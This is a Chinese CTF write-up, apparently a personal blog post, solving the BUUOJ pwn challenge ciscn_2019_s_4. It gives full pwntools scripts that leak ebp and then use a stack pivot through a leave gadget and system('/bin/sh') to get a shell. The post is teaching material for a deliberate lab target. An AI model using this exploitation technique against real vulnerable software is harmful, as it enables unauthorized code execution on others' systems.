本文最后更新于118 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
1、ciscn_2019_s_4分析

checksec:

位partial relro和NX,有两次输入
main没有什么:

vuln:

可以发现read那里有栈溢出,而hack函数里有system:

们就直接ret2就行了
oh!不对,想啥呢,溢出的;根本不够我们rop,所以要用栈迁移了,那么就需要看看ebp的地址
from pwn import *
context.log_level="debug"
#p=remote("node5.buuoj.cn",29497)
p=process("./ciscn_s_4")
payload=b'a'*0x24+b'bbbb'
p.recvuntil("Welcome, my friend. What's your name?")
p.send(payload)#用sendline会影响泄露
gdb.attach(p)
p.interactive()

我们输a地址是:0xffc0e470,ebp是:0xffc0e4a8
所以用ebp-0x38就是输a的位置,就又有空间给我们写入了。
然后我们找一下leave和system
leave=0x8048593
system=08048400
ok,开始实操
2、ciscn_2019_s_4实操
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",29452)
#p=process("./ciscn_s_4")
payload=b'a'*0x24+b'bbbb'
p.recvuntil("Welcome, my friend. What's your name?")
p.send(payload)
#gdb.attach(p)
p.recvuntil("bbbb")
ebp=u32(p.recv(4))
print(hex(ebp))
buf=ebp-0x38
sys=0x8048400
leave=0x8048593
payload=(b'aaaa'+p32(sys)+p32(0)+p32(buf+16)+b'/bin/sh\0').ljust(0x28,b'a')+p32(buf)+p32(leave)
p.sendline(payload)
p.interactive()
这里解释一下比较玄乎的地方,这里用的system_plt的地址所以要接返回地址p32(0),为什么是buf+16接binsh,因为binsh我们写在第五个位置,aaaa的地址是buf+0x4.如果开始不写aaaa的话后面ebp的地址应该写成ebp-4
我们看看leave指令
esp = ebp ; 如果ebp地址是buf
pop ebp ; 从 buf 里弹出 4 字节到 ebp
ret ; 从 buf+4 弹出 4 字节到 eip
我们前面输入的aaaa被pop ebp弹出了,所以ret指令指向system。如果设成buf-4那就不用在开头加aaaa,这里是伪造的ebp,因为我们要执行leave。
其实还是有点昏,慢慢理解吧

就到这儿吧,休息了……










